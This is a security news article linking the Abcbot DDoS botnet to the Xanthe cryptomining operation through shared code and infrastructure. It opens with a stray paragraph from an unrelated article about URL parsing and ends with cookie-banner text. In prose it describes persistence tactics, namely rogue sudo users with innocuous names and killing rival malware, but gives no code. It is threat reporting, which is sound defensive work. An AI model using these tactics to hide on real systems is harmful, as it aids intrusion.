“Many real-life attack scenarios could arise from different parsing primitives,” the researchers said. To protect applications from URL parsing vulnerabilities, “it is necessary to fully understand which parsers are involved in the whole process [and] the differences between parsers, be it their leniency, how they interpret different malformed URLs, and what types of URLs they support.”
New research into the infrastructure behind an emerging DDoS botnet named Abcbot has uncovered links with a cryptocurrency-mining botnet attack that came to light in December 2020.
Attacks involving Abcbot, first disclosed by Qihoo 360’s Netlab security team in November 2021, are triggered via a malicious shell script that targets insecure cloud instances operated by cloud service providers such as Huawei, Tencent, Baidu, and Alibaba Cloud to download malware that co-opts the machine to a botnet, but not before terminating processes from competing threat actors and establishing persistence.
The shell script in question is itself an iteration of an earlier version originally discovered by Trend Micro in October 2021 hitting vulnerable ECS instances inside Huawei Cloud.
But in an interesting twist, continued analysis of the botnet by mapping all known Indicators of Compromise (IoCs), including IP addresses, URLs, and samples, has revealed Abcbot’s code and feature-level similarities to that of a cryptocurrency mining operation dubbed Xanthe that exploited incorrectly-configured Docker implementations to propagate the infection.
Abcbot
“The same threat actor is responsible for both Xanthe and Abcbot and is shifting its objective from mining cryptocurrency on compromised hosts to activities more traditionally associated with botnets, such as DDoS attacks,” Cado Security’s Matt Muir said in a report.
The semantic overlaps between the two malware families range from how the source code is formatted to the names given to the routines, with some functions not only sporting identical names and implementation (e.g., “nameservercheck”) but also having the word “go” appended to the end of the function names (e.g., “filerungo”).
“This could indicate that the Abcbot version of the function has been iterated on several times, with new functionality added at each iteration,” Muir explained.
Furthermore, the deep-dive examination of the malware artifacts revealed the botnet’s capability to create as many as four users of their own by using generic, inconspicuous names like “autoupdater,” “logger,” “sysall,” and “system” to avoid detection, and adding them to the sudoers file to give the rogue users administrative powers over the infected system.
“Code reuse and even like-for-like copying is often seen between malware families and specific samples on any platform,” Muir said. “It makes sense from a development perspective; just as code for legitimate software is reused to save development time, the same occurs with illegitimate or malicious software.”
We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept”, you consent to the use of the cookies. Cookie & Privacy Policy
This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
